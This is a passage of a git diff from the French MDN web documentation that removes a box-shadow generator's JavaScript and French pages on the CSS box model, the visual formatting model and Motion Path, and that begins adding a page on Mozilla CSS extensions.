-		var setActiveShadow = function setActiveShadow(id, glow) {
-			active.shadowID = id;
-			ColoPicker.setColor(active.shadows[id].color);
-			ButtonManager.setValue("inset", active.shadows[id].inset);
-			SliderManager.setValue("blur", active.shadows[id].blur);
-			SliderManager.setValue("spread", active.shadows[id].spread);
-			SliderManager.setValue("posX", active.shadows[id].posX);
-			SliderManager.setValue("posY", active.shadows[id].posY);
-			if (glow === true)
-				addGlowEffect(id);
-		}
-
-		var addGlowEffect = function addGlowEffect(id) {
-			if (animate === true)
-				return;
-
-			animate = true;
-			var store = new Shadow();
-			var shadow = active.shadows[id];
-
-			store.copy(shadow);
-			shadow.color.setRGBA(40, 125, 200, 1);
-			shadow.blur = 10;
-			shadow.spread = 10;
-
-			active.node.style.transition = "box-shadow 0.2s";
-			updateShadowCSS(id);
-
-			setTimeout(function() {
-				shadow.copy(store);
-				updateShadowCSS(id);
-				setTimeout(function() {
-					active.node.style.removeProperty("transition");
-					animate = false;
-				}, 100);
-			}, 200);
-		}
-
-		var updateActivePos = function updateActivePos(deltaX, deltaY) {
-			if (active.shadowID === null)
-				active.updatePos(deltaX, deltaY);
-			else
-				updateShadowPos(deltaX, deltaY);
-		}
-
-		/*
-		 * Shadow properties
-		 */
-		var updateShadowCSS = function updateShadowCSS(id) {
-			active.render[id] = active.shadows[id].computeCSS();
-			active.updateShadows();
-		}
-
-		var toggleShadowInset = function toggleShadowInset(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].toggleInset(value);
-			updateShadowCSS(active.shadowID);
-		}
-
-		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
-			var shadow = active.shadows[active.shadowID];
-			shadow.posX += deltaX;
-			shadow.posY += deltaY;
-			SliderManager.setValue("posX", shadow.posX);
-			SliderManager.setValue("posY", shadow.posY);
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowPosX = function setShadowPosX(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].posX = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowPosY = function setShadowPosY(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].posY = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowBlur = function setShadowBlur(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].blur = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowSpread = function setShadowSpread(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].spread = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var updateShadowColor = function updateShadowColor(color) {
-			active.shadows[active.shadowID].color.copy(color);
-			updateShadowCSS(active.shadowID);
-		}
-
-		/*
-		 * Element Properties
-		 */
-		var updateColor = function updateColor(color) {
-			if (active.shadowID === null)
-				active.updateBgColor(color);
-			else
-				updateShadowColor(color);
-		}
-
-		var init = function init() {
-			preview = getElemById("preview");
-
-			ColoPicker.subscribe("color", updateColor);
-			PreviewMouseTracking.subscribe(updateActivePos);
-
-			// Affects shadows
-			ButtonManager.subscribe("inset", toggleShadowInset);
-			SliderManager.subscribe("posX", setShadowPosX);
-			SliderManager.subscribe("posY", setShadowPosY);
-			SliderManager.subscribe("blur", setShadowBlur);
-			SliderManager.subscribe("spread", setShadowSpread);
-
-			// Affects element
-			SliderManager.subscribe("top", function(value){
-				active.setTop(value);
-			});
-			SliderManager.subscribe("left", function(value){
-				active.setLeft(value);
-			});
-			SliderManager.subscribe("rotate", function(value) {
-				if (active == classes["element"])
-					return;
-				active.setRotate(value);
-			});
-
-			SliderManager.subscribe("z-index", function(value) {
-				if (active == classes["element"])
-					return;
-				active.setzIndex(value);
-			});
-
-			SliderManager.subscribe("width", function(value) {
-				active.setWidth(value)
-			});
-
-			SliderManager.subscribe("height", function(value) {
-				active.setHeight(value)
-			});
-
-			// Actions
-			classes['before'].top = -30;
-			classes['before'].left = -30;
-			classes['after'].top = 30;
-			classes['after'].left = 30;
-			classes['before'].toggleDisplay(false);
-			classes['after'].toggleDisplay(false);
-			ButtonManager.setValue('before', false);
-			ButtonManager.setValue('after', false);
-
-			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
-			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
-
-			ButtonManager.subscribe("border-state", function(value) {
-				active.toggleBorder(value);
-			});
-
-		}
-
-		return {
-			init 			: init,
-			addShadow		: addShadow,
-			swapShadow		: swapShadow,
-			addCssClass		: addCssClass,
-			disableClass	: disableClass,
-			deleteShadow	: deleteShadow,
-			setActiveClass	: setActiveClass,
-			setActiveShadow : setActiveShadow
-		}
-
-	})();
-
-	/**
-	 * Layer Manager
-	 */
-	var LayerManager = (function LayerManager() {
-		var stacks = [];
-		var active = {
-			node : null,
-			stack : null
-		}
-		var elements = {};
-
-		var mouseEvents = function mouseEvents(e) {
-			var node = e.target;
-			var type = node.getAttribute('data-type');
-
-			if (type === 'subject')
-				setActiveStack(stacks[node.id]);
-
-			if (type === 'disable') {
-				Tool.disableClass(node.parentNode.id);
-				setActiveStack(stacks['element']);
-			}
-
-			if (type === 'add')
-				active.stack.addLayer();
-
-			if (type === 'layer')
-				active.stack.setActiveLayer(node);
-
-			if (type === 'delete')
-				active.stack.deleteLayer(node.parentNode);
-
-			if (type === 'move-up')
-				active.stack.moveLayer(1);
-
-			if (type === 'move-down')
-				active.stack.moveLayer(-1);
-		}
-
-		var setActiveStack = function setActiveStack(stackObj) {
-			active.stack.hide();
-			active.stack = stackObj;
-			active.stack.show();
-		}
-
-		/*
-		 * Stack object
-		 */
-		var Stack = function Stack(subject) {
-			var S = document.createElement('div');
-			var title = document.createElement('div');
-			var stack = document.createElement('div');
-
-			S.className = 'container';
-			stack.className = 'stack';
-			title.className = 'title';
-			title.textContent = subject.getAttribute('data-title');
-			S.appendChild(title);
-			S.appendChild(stack);
-
-			this.id = subject.id;
-			this.container = S;
-			this.stack = stack;
-			this.subject = subject;
-			this.order = [];
-			this.uid = 0;
-			this.count = 0;
-			this.layer = null;
-			this.layerID = 0;
-		}
-
-		Stack.prototype.addLayer = function addLayer() {
-			if (Tool.addShadow(this.layerID) == -1)
-				return;
-
-			var uid = this.getUID();
-			var layer = this.createLayer(uid);
-
-			if (this.layer === null && this.stack.children.length >= 1)
-				this.layer = this.stack.children[0];
-
-			this.stack.insertBefore(layer, this.layer);
-			this.order.splice(this.layerID, 0, uid);
-			this.count++;
-			this.setActiveLayer(layer);
-		}
-
-		Stack.prototype.createLayer = function createLayer(uid) {
-			var layer = document.createElement('div');
-			var del = document.createElement('span');
-
-			layer.className = 'node';
-			layer.setAttribute('data-shid', uid);
-			layer.setAttribute('data-type', 'layer');
-			layer.textContent = 'Ombre ' + uid;
-
-			del.className = 'delete';
-			del.setAttribute('data-type', 'delete');
-
-			layer.appendChild(del);
-			return layer;
-		}
-
-		Stack.prototype.getUID = function getUID() {
-			return this.uid++;
-		}
-
-		// SOLVE IE BUG
-		Stack.prototype.moveLayer = function moveLayer(direction) {
-			if (this.count <= 1 || this.layer === null)
-				return;
-			if (direction === -1 && this.layerID === (this.count - 1) )
-				return;
-			if (direction === 1 && this.layerID === 0 )
-				return;
-
-			if (direction === -1) {
-				var before = null;
-				Tool.swapShadow(this.layerID, this.layerID + 1);
-				this.swapOrder(this.layerID, this.layerID + 1);
-				this.layerID += 1;
-
-				if (this.layerID + 1 !== this.count)
-					before = this.stack.children[this.layerID + 1];
-
-				this.stack.insertBefore(this.layer, before);
-				Tool.setActiveShadow(this.layerID, false);
-			}
-
-			if (direction === 1) {
-				Tool.swapShadow(this.layerID, this.layerID - 1);
-				this.swapOrder(this.layerID, this.layerID - 1);
-				this.layerID -= 1;
-				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
-				Tool.setActiveShadow(this.layerID, false);
-			}
-		}
-
-		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
-			var x = this.order[pos1];
-			this.order[pos1] = this.order[pos2];
-			this.order[pos2] = x;
-		}
-
-		Stack.prototype.deleteLayer = function deleteLayer(node) {
-			var shadowID =  node.getAttribute('data-shid') | 0;
-			var index = this.order.indexOf(shadowID);
-			this.stack.removeChild(this.stack.children[index]);
-			this.order.splice(index, 1);
-			this.count--;
-
-			Tool.deleteShadow(index);
-
-			if (index > this.layerID)
-				return;
-
-			if (index == this.layerID) {
-				if (this.count >= 1) {
-					this.layerID = 0;
-					this.setActiveLayer(this.stack.children[0], true);
-				}
-				else {
-					this.layer = null;
-					this.show();
-				}
-			}
-
-			if (index < this.layerID) {
-				this.layerID--;
-				Tool.setActiveShadow(this.layerID, true);
-			}
-
-		}
-
-		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
-			elements.shadow_properties.style.display = 'block';
-			elements.element_properties.style.display = 'none';
-
-			if (this.layer)
-				this.layer.removeAttribute('data-active');
-
-			this.layer = node;
-			this.layer.setAttribute('data-active', 'layer');
-
-			var shadowID =  node.getAttribute('data-shid') | 0;
-			this.layerID = this.order.indexOf(shadowID);
-			Tool.setActiveShadow(this.layerID, true);
-		}
-
-		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
-			if (this.layer)
-				this.layer.removeAttribute('data-active');
-
-			this.layer = null;
-			this.layerID = 0;
-		}
-
-		Stack.prototype.hide = function hide() {
-			this.unsetActiveLayer();
-			this.subject.removeAttribute('data-active');
-			var style = this.container.style;
-			style.left = '100%';
-			style.zIndex = '0';
-		}
-
-		Stack.prototype.show = function show() {
-			elements.shadow_properties.style.display = 'none';
-			elements.element_properties.style.display = 'block';
-
-			if (this.id === 'element') {
-				elements.zIndex.style.display = 'none';
-				elements.transform_rotate.style.display = 'none';
-			}
-			else {
-				elements.zIndex.style.display = 'block';
-				elements.transform_rotate.style.display = 'block';
-			}
-
-			this.subject.setAttribute('data-active', 'subject');
-			var style = this.container.style;
-			style.left = '0';
-			style.zIndex = '10';
-			Tool.setActiveClass(this.id);
-		}
-
-		function init() {
-
-			var elem, size;
-			var layerManager = getElemById("layer_manager");
-			var layerMenu = getElemById("layer_menu");
-			var container = getElemById("stack_container");
-
-			elements.shadow_properties = getElemById('shadow_properties');
-			elements.element_properties = getElemById('element_properties');
-			elements.transform_rotate = getElemById('transform_rotate');
-			elements.zIndex = getElemById('z-index');
-
-			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
-			size = elem.length;
-
-			for (var i = 0; i < size; i++) {
-				var S = new Stack(elem[i]);
-				stacks[elem[i].id] = S;
-				container.appendChild(S.container);
-				Tool.addCssClass(elem[i].id);
-			}
-
-			active.stack = stacks['element'];
-			stacks['element'].show();
-
-			layerManager.addEventListener("click", mouseEvents);
-			layerMenu.addEventListener("click", mouseEvents);
-
-			ButtonManager.subscribe("before", function(value) {
-				if (value === false && active.stack === stacks['before'])
-					setActiveStack(stacks['element'])
-				if (value === true && active.stack !== stacks['before'])
-					setActiveStack(stacks['before'])
-			});
-
-			ButtonManager.subscribe("after", function(value) {
-				if (value === false && active.stack === stacks['after'])
-					setActiveStack(stacks['element'])
-				if (value === true && active.stack !== stacks['after'])
-					setActiveStack(stacks['after'])
-			});
-		}
-
-		return {
-			init : init
-		}
-	})();
-
-	/*
-	 * OutputManager
-	 */
-	var OutputManager = (function OutputManager() {
-		var classes = [];
-		var buttons = [];
-		var active = null;
-		var menu = null;
-		var button_offset = 0;
-
-		var crateOutputNode = function(topic, property) {
-
-			var prop = document.createElement('div');
-			var name = document.createElement('span');
-			var value = document.createElement('span');
-
-			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
-
-			name.textContent = '\t' + pmatch[4];
-
-			if (pmatch[3] !== undefined) {
-				name.textContent = '\t' + pmatch[2];
-				value.textContent = pmatch[3] + ';';
-			}
-
-			name.textContent += ': ';
-			prop.className = 'css-property';
-			name.className = 'name';
-			value.className = 'value';
-			prop.appendChild(name);
-			prop.appendChild(value);
-
-			classes[topic].node.appendChild(prop);
-			classes[topic].line[property] = prop;
-			classes[topic].prop[property] = value;
-		}
-
-		var OutputClass = function OutputClass(node) {
-			var topic = node.getAttribute('data-topic');
-			var prop = node.getAttribute('data-prop');
-			var name = node.getAttribute('data-name');
-			var properties = prop.split(' ');
-
-			classes[topic] = {};
-			classes[topic].node = node;
-			classes[topic].prop = [];
-			classes[topic].line = [];
-			classes[topic].button = new Button(topic);
-
-			var open_decl = document.createElement('div');
-			var end_decl = document.createElement('div');
-
-			open_decl.textContent = name + ' {';
-			end_decl.textContent = '}';
-			node.appendChild(open_decl);
-
-			for (var i in properties)
-				crateOutputNode(topic, properties[i]);
-
-			node.appendChild(end_decl);
-		}
-
-		var Button = function Button(topic) {
-			var button = document.createElement('div');
-
-			button.className = 'button';
-			button.textContent = topic;
-			button.style.left = button_offset + 'px';
-			button_offset += 100;
-
-			button.addEventListener("click", function() {
-				toggleDisplay(topic);
-			})
-
-			menu.appendChild(button);
-			return button;
-		}
-
-		var toggleDisplay = function toggleDisplay(topic) {
-			active.button.removeAttribute('data-active');
-			active.node.style.display = 'none';
-			active = classes[topic];
-			active.node.style.display = 'block';
-			active.button.setAttribute('data-active', 'true');
-		}
-
-		var toggleButton = function toggleButton(topic, value) {
-			var display = (value === true) ? 'block' : 'none';
-			classes[topic].button.style.display = display;
-
-			if (value === true)
-				toggleDisplay(topic);
-			else
-				toggleDisplay('element');
-		}
-
-		var updateProperty = function updateProperty(topic, property, data) {
-			try {
-				classes[topic].prop[property].textContent = data + ';';
-			}
-			catch(error) {
-				// console.log("ERROR undefined : ", topic, property, data);
-			}
-		}
-
-		var toggleProperty = function toggleProperty(topic, property, value) {
-			var display = (value === true) ? 'block' : 'none';
-			try {
-				classes[topic].line[property].style.display = display;
-			}
-			catch(error) {
-				// console.log("ERROR undefined : ",classes, topic, property, value);
-			}
-		}
-
-		var init = function init() {
-
-			menu = getElemById('menu');
-
-			var elem = document.querySelectorAll('#output .output');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				OutputClass(elem[i]);
-
-			active = classes['element'];
-			toggleDisplay('element');
-
-			ButtonManager.subscribe("before", function(value) {
-				toggleButton('before', value);
-			});
-
-			ButtonManager.subscribe("after", function(value) {
-				toggleButton('after', value);
-			});
-		}
-
-		return {
-			init : init,
-			updateProperty : updateProperty,
-			toggleProperty : toggleProperty
-		}
-
-	})();
-
-
-	/**
-	 * Init Tool
-	 */
-	var init = function init() {
-		ButtonManager.init();
-		OutputManager.init();
-		ColoPicker.init();
-		SliderManager.init();
-		LayerManager.init();
-		PreviewMouseTracking.init("preview");
-		Tool.init();
-	}
-
-	return {
-		init : init
-	}
-
-})();
-
-
-
-
- -
{{EmbedLiveSample('box-shadow_generator', '100%', '1100px', '')}}
- -

Voir aussi

- - diff --git "a/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/index.html" "b/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/index.html" deleted file mode 100644 index 3bc62c03f1..0000000000 --- "a/files/fr/web/css/mod\303\250le_de_bo\303\256te_css/index.html" +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Modèle de boîte -slug: Web/CSS/Modèle_de_boîte_CSS -tags: - - Aperçu - - CSS - - CSS Box Model - - Overview - - Reference -translation_of: Web/CSS/CSS_Box_Model ---- -
{{CSSRef}}
- -

Le modèle de boîte CSS (Basic Box Model en anglais) est un module CSS qui définit les boîtes rectangulaires (y compris leurs zones de remplissage (padding) et de marges) qui sont générées pour disposer les éléments selon leur modèle de mise en forme visuelle.

- -

Référence

- -

Propriétés

- -

Les propriétés qui définissent le flux du contenu dans une boîte

- -
-
    -
  • {{cssxref("overflow")}}
    • -
  • {{cssxref("overflow-x")}}
    • -
  • {{cssxref("overflow-y")}}
    • -
-
- -

Les propriétés qui définissent la taille d'une boîte

- -
-
    -
  • {{cssxref("height")}}
    • -
  • {{cssxref("width")}}
    • -
  • {{cssxref("max-height")}}
    • -
  • {{cssxref("max-width")}}
    • -
  • {{cssxref("min-height")}}
    • -
  • {{cssxref("min-width")}}
    • -
-
- -

Les propriétés qui définissent les marges d'une boîte

- -
-
    -
  • {{cssxref("margin")}}
    • -
  • {{cssxref("margin-bottom")}}
    • -
  • {{cssxref("margin-left")}}
    • -
  • {{cssxref("margin-right")}}
    • -
  • {{cssxref("margin-top")}}
    • -
  • {{CSSxRef("margin-trim")}} {{Experimental_Inline}}
    • -
-
- -

Les propriétés qui définissent le remplissage (padding) d'une boîte

- -
-
    -
  • {{cssxref("padding")}}
    • -
  • {{cssxref("padding-bottom")}}
    • -
  • {{cssxref("padding-left")}}
    • -
  • {{cssxref("padding-right")}}
    • -
  • {{cssxref("padding-top")}}
    • -
-
- -

Les autres propriétés

- -
-
    -
  • {{cssxref("box-shadow")}}
    • -
  • {{cssxref("visibility")}}
    • -
-
- -

Guides

- -
-
Une introduction au modèle de boîte CSS
-
Cet article explique un des concepts clé de CSS : le modèle de boîte. Il définit notamment les notions de marge, de remplissage (padding) ainsi que les différentes zones qui forment une boîte.
-
Maîtriser la fusion des marges
-
Dans certains cas, deux marges adjacentes sont fusionnées en une seule. Cet article explique quand cela se produit et comment contrôler ce comportement.
-
Le modèle de mise en forme visuel
-
Cet article explique le modèle de mise en forme visuel.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS3 Box")}}{{Spec2("CSS3 Box")}}Added margin-trim
{{SpecName("CSS2.1", "box.html")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Définition initiale.
diff --git "a/files/fr/web/css/mod\303\250le_de_mise_en_forme_visuelle/index.html" "b/files/fr/web/css/mod\303\250le_de_mise_en_forme_visuelle/index.html" deleted file mode 100644 index d9ac8b3f09..0000000000 --- "a/files/fr/web/css/mod\303\250le_de_mise_en_forme_visuelle/index.html" +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Modèle de mise en forme visuelle -slug: Web/CSS/Modèle_de_mise_en_forme_visuelle -tags: - - CSS - - Intermédiaire - - NeedsUpdate -translation_of: Web/CSS/Visual_formatting_model ---- -
{{CSSRef}}
- -

En CSS, le modèle de mise en forme visuelle est un algorithme qui traite un document afin de l'afficher sur un support visuel. Chaque élément du document est ainsi transformé en zéro, une ou plusieurs boîtes qui s'inscrivent dans le modèle de boîtes CSS. La disposition de chaque boîte est dictée par :

- -
    -
  • Les dimensions de la boîte qui peuvent être définies explicitement, contraintes ou non
    • -
  • Le type de la boîte : en ligne, en ligne et de niveau (inline-level), atomique, en bloc
    • -
  • Le mode de positionnement : dans le flux normal, en flottement ou positionnée de façon absolue
    • -
  • Les autres éléments présents dans l'arbre du document et notamment ses enfants et ses voisins
    • -
  • La taille et la position de la zone d'affichage (viewport)
    • -
  • Les dimensions intrinsèques des images qu'elle contient
    • -
  • Éventuellement d'autres informations externes.
    • -
- -

Le modèle affiche une boîte par rapport au bord du bloc qui la contient. Généralement, une boîte devient le bloc contenant pour ses éléments descendants. Toutefois, une boîte n'est pas contrainte dans son bloc contenant, le contenu d'une boîte peut parfois dépasser (ce qu'on appelle en anglais overflow).

- -

Génération de la boîte

- -

Lors de cette étape, on crée les boîtes à partir des éléments du document. Les boîtes générées sont de différents types et ces types ont un impact sur la mise en forme visuelle. Le type de boîte générée dépend de la valeur de la propriété {{cssxref("display")}}.

- -

Les éléments de bloc et les boîtes de bloc

- -

Un élément est dit « de bloc » lorsque la valeur calculée de la propriété {{cssxref("display")}} qui lui est appliquée vaut : block, list-item ou table. Un élément de bloc est représenté sous la forme d'un bloc (comme un paragraphe par exemple) et les blocs sont empilés verticalement les uns sur les autres.

- -

Chaque boîte de bloc contribue au contexte de mise en forme des blocs. Chaque élément de bloc génère au moins une boîte de niveau bloc, qu'on appelle la boîte de bloc principale. Certains éléments (comme les éléments d'une liste par exemple) génèrent d'autres boîtes afin de gérer les puces ou d'autres éléments typographiques.

- -

La boîte de bloc principale contient les boîtes générées par les descendants ete le contenu généré. Cette boîte participe au schéma de positionnement.

- -

venn_blocks.png

- -

Une boîte de bloc peut également un conteneur de blocs. Un conteneur de blocs est une boîte qui ne contient que d'autres boîtes de bloc ou qui crée un contexte de formatage en ligne et qui ne contient alors que des boîtes en ligne. Attention, les notions de boîtes de bloc et de conteneurs de blocs ne sont pas identiques. La première décrit la façon dont la boîte se comporte avec ses parents et ses voisins et le seconde définit la façon dont elle interagit avec ses descendants. Certaines boîtes de blocs, telles que les tableaux, ne sont pas des conteneurs de blocs. Réciproquement, certains conteneurs de blocs (tels que les cellules de tableau non remplacées) ne sont pas des boîtes de bloc.

- -

Les boîtes de bloc qui sont également des conteneurs de blocs sont appelées des boîtes-bloc.

- -

Les boîtes de bloc anonymes

- -

Dans certains cas, l'algorithme doit ajouter certaines boîtes supplémentaires. Or, les sélecteurs CSS ne permettent pas de mettre en forme ou de nommer ces boîtes, elles sont donc appelées boîtes de bloc anonymes.

- -

Les sélecteurs ne permettent pas de manipuler la mise en forme de ces boîtes. Aussi, pour ces boîtes, toutes les propriétés CSS utilisant l'héritage auront la valeur {{cssxref("inherit")}} et toutes les propriétés CSS qui ne sont pas héritées auront la valeur initial.

- -

Les boîtes qui contiennent des blocs ne contiennent que des boîtes en ligne ou que des boîtes en blocs. Mais souvent, le document contient un mélange des deux. Dans ces cas, des boîtes de bloc anonymes sont créées autour des boîtes en lignes adjacentes.

- -

Si on prend le code HTML suivant, mis en forme avec les règles par défaut (display:block) :

- -
<div>
-   Some inline text
-   <p>followed by a paragraph</p>
-   followed by more inline text.
-</div>
-
- -

On aura deux boîtes de bloc anonymes qui seront créées : une pour le texte avant le paragraphe et une pour le texte après. On aura alors la structure suivante :
-   anonymous_block-level_boxes.png

- -

À la différence de la boîte des éléments {{HTMLElement("p")}}, les développeurs ne peuvent pas contrôler la mise en forme des boîtes anonymes. Les propriétés qui héritent des éléments parents récupèreront la valeur obtenue pour l'élément {{HTMLElement("div")}} et les autres propriétés auront la valeur initial.

- -

Un autre scénario peut amener à la création de boîtes de bloc anonyme : lorsqu'une boîte en ligne contient une ou plusieurs boîtes de bloc. Dans ce cas, la boîte qui contient la boîte de bloc est divisée en deux boîtes en ligne : une avant et une après la boîte de bloc. Toutes les boîtes en ligne avant la boîte de bloc sont englobées dans une boîte de bloc anonyme et il en va de même pour les boîtes en ligne qui suivent la boîte de bloc. Aussi, la boîte de bloc devient un voisin de deux boîtes de bloc anonymes qui contiennent les éléments en ligne.

- -

S'il y a plusieurs boîtes de bloc sans contenu en ligne entre elles, les boîtes de bloc anonymes sont créées avant et après ces boîtes.

- -

Si on prend le code HTML suivant, pour lequel {{HTMLElement("p")}} aura display:inline et {{HTMLElement("span")}} aura display:block :

- -
<p>
-  Some <em>inline</em> text
-  <span>followed by a paragraph</span>
-  followed by more inline text.
-</p>
- -

Deux boîtes de bloc anonymes sont créées : une pour le texte avant l'élément <span> et une pour le texte qui suit cet élément. On a alors la structure suivante :

- -

- -

Les éléments en ligne et les boîtes en ligne

- -

Un élément est dit « en ligne » lorsque la valeur de sa propriété CSS {{cssxref("display")}} vaut : inline, inline-block ou inline-table. Visuellement, un tel élément est organisé sur des lignes qui se suivent les unes les autres avec d'autre contenu en ligne. Généralement, il s'agit du contenu d'un paragraphe (éventuellement mis en forme).

- -

Les éléments en ligne génèrent des boîtes en lignes qui contribuent au contexte de mise en forme en ligne.

- -

Les boîtes en lignes atomiques ne peuvent pas être divisées en plusieurs lignes au sein d'un contexte de mise en forme.

- -
<style>
-  span {
-    /* La valeur par défaut */
-    display:inline;
-  }
-</style>
-<div style="width:20em;">
-   Le texte dans le span <span>peut être divisé
-   en plusieurs lignes</span> dans une boîte en
-   ligne.
-</div>
-
- -
<style>
-  span {
-    display:inline-block;
-  }
-</style>
-<div style="width:20em;">
-   Le texte dans le span <span>ne peut pas être
-   divisé en plusieurs lignes car</span> il est
-   dans une boîte de type inline-block.
-</div>
-
- -

Les boîtes en ligne anonymes

- -

Comme pour les boîtes de bloc, il existe quelques cas pour lesquels des boîtes en lignes sont automatiquement créées par le moteur CSS. Ces boîtes en ligne sont également anonymes et ne peuvent être ciblées par les sélecteurs. Pour les propriétés qui fonctionnent avec l'héritage, ces boîtes hériteront de la valeur de la propriété relative à l'élément parent, pour les autres, elles vaudront initial.

- -

La plupart du temps, une boîte en ligne anonyme est créée lorsque du texte se trouve être un enfant direct d'une boîte en bloc, ce qui crée un contexte de mise en forme en ligne. Dans ce cas, le texte est inclus dans la plus grande boîte en ligne qui puisse être et c'est cette boîte qui est la boîte anonyme. Par ailleurs, le contenu blanc qui serait retiré par la propriété {{cssxref("white-space")}} ne génère pas de boîtes en ligne car celles-ci seraient vides.

- -

Les autres types de boîte

- -

Les boîtes de ligne

- -

Les boîtes de ligne sont générées dans un contexte de mise en forme en ligne afin de représenter une ligne de texte. Au sein d'une boîte en bloc, un boîte de ligne s'étend d'un bord à l'autre de la boîte. Lorsqu'il y a une disposition flottante, la boîte de ligne démarre au bord le plus à droite de la partie flottante qui est située à gauche et finit à la droite du bord gauche suivant.

- -

Ces boîtes sont uniquement utilisées par le moteur et les développeurs web ne devraient pas avoir à s'en préoccuper.

- -

Les types de boîtes liés au modèle CSS

- -

En plus des boîtes en ligne et des boîtes de bloc, CSS définit plusieurs autres modèles de contenu qui peuvent être appliqués aux éléments. Ces modèles définissent des types de boîtes supplémentaires :

- -
    -
  • Le modèle de contenu pour les tableaux utilise des boîtes englobant les tableaux, des boîtes de tableau et des boîtes de légende
    • -
  • Le modèle de contenu à plusieurs colonnes permet de créer des boîtes de colonne entre la boîte englobante et le contenu.
    • -
  • Les modèles de contenu expérimentaux en grille (CSS Grid) ou avec les boîtes flexibles (flexbox) définissent d'autres types de boîtes.
    • -
- -

Modes de positionnement

- -

Une fois les boîtes générées, le moteur CSS doit les disposer les unes par rapport aux autres. Pour ce faire, il utilise un des algorithmes suivants :

- -
    -
  • Le mode de positionnement normal positionne les boîtes les unes après les autres
    • -
  • Le mode de positionnement flottant permet d'extraire une boîte du flux normal et de la placer sur le côté de la boîte englobante
    • -
  • Le mode de positionnement absolu permet de placer une boîte dans un système de coordonnées absolues, basée sur l'élément englobant. Un élément positionné de façon absolue peut recouvrir d'autres éléments.
    • -
- -

Le mode normal

- -

Dans le mode de positionnement normal, les boîtes sont disposées les unes après les autres. Pour un contexte de mise en forme de bloc, elles seront empilées verticalement et pour un contexte de mise en forme en ligne, elles se suivront horizontalement. Le mode de disposition normal est déclenché lorsque la propriété CSS {{cssxref("position")}} vaut static ou relative et si la propriété CSS {{cssxref("float")}} vaut none.

- -

On a deux cas de figure pour le mode normal : le positionnement statique et le positionnement relatif.

- -
    -
  • En positionnement statique (obtenu avec la valeur static pour la propriété {{cssxref("position")}}), les boîtes sont dessinées à l'emplacement exact dicté par le flux normal.
    • -
  • En positionnement relatif (obtenu lorsque la propriété {{cssxref("position")}} vaut relative), les boîtes sont dessinées avec un décalage défini par les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}}.
    • -
- -

Le mode flottant

- -

Avec le mode de positionnement flottant, certaines boîtes sont placées au début ou à la fin de ligne courante. Le texte (et tout ce qui se trouve dans le flux normal) épouse donc le contour des boîtes flottantes (sauf si la propriété {{cssxref("clear")}} dicte un autre comportement).

- -

Pour qu'une boîte soit une boîte flottante, on utilisera la propriété {{cssxref("float")}} avec une valeur différente de none et la propriété {{cssxref("position")}} avec static ou relative. Si {{cssxref("float")}} vaut left, la boîte flottante sera positionnée au début de la ligne de la boîte englobante et si elle vaut right, elle sera à la fin de la ligne.

- -

Le mode absolu

- -

En mode absolu, les boîtes sont entièrement retirées du flux normal et n'interagissent plus avec le flux. Elles sont positionnées de façon relative à leur bloc englobant grâce aux propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}}.

- -

Un élément est positionné de façon absolue lorsque la propriété {{cssxref("position")}} vaut absolute ou fixed.

- -

Pour un élément positionné de façon fixe, le bloc englobant sera la zone d'affichage (viewport) et la position de l'élément est absolue par rapport à la zone d'affichage. Faire défiler le contenu ne modifie pas la position de l'élément.

- -

Voir aussi

- - diff --git a/files/fr/web/css/motion_path/index.html b/files/fr/web/css/motion_path/index.html deleted file mode 100644 index e6740d2023..0000000000 --- a/files/fr/web/css/motion_path/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Motion Path -slug: Web/CSS/Motion_Path -tags: - - Aperçu - - CSS - - Experimental - - Motion Path - - Reference -translation_of: Web/CSS/CSS_Motion_Path ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

Motion Path est un module de la spécification CSS qui permet aux auteurs d'animer des objets graphiques le long d'une ligne appelée chemin.

- -

Référence

- -

Propriétés

- -
-
    -
  • {{cssxref("offset")}}
    • -
  • {{cssxref("offset-distance")}}
    • -
  • {{cssxref("offset-path")}}
    • -
  • {{cssxref("offset-rotate")}}
    • -
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Motion Path Level 1')}}{{Spec2('Motion Path Level 1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

offset

- - - -

{{Compat("css.properties.offset")}}

diff --git a/files/fr/web/css/mozilla_extensions/index.html b/files/fr/web/css/mozilla_extensions/index.html new file mode 100644 index 0000000000..3d9acbff04 --- /dev/null +++ b/files/fr/web/css/mozilla_extensions/index.html @@ -0,0 +1,678 @@ +--- +title: Extensions CSS de Mozilla +slug: Web/CSS/Extensions_Mozilla +tags: + - CSS + - Mozilla + - Non-standard + - Reference +translation_of: Web/CSS/Mozilla_Extensions +--- +
{{CSSRef}}
+ +

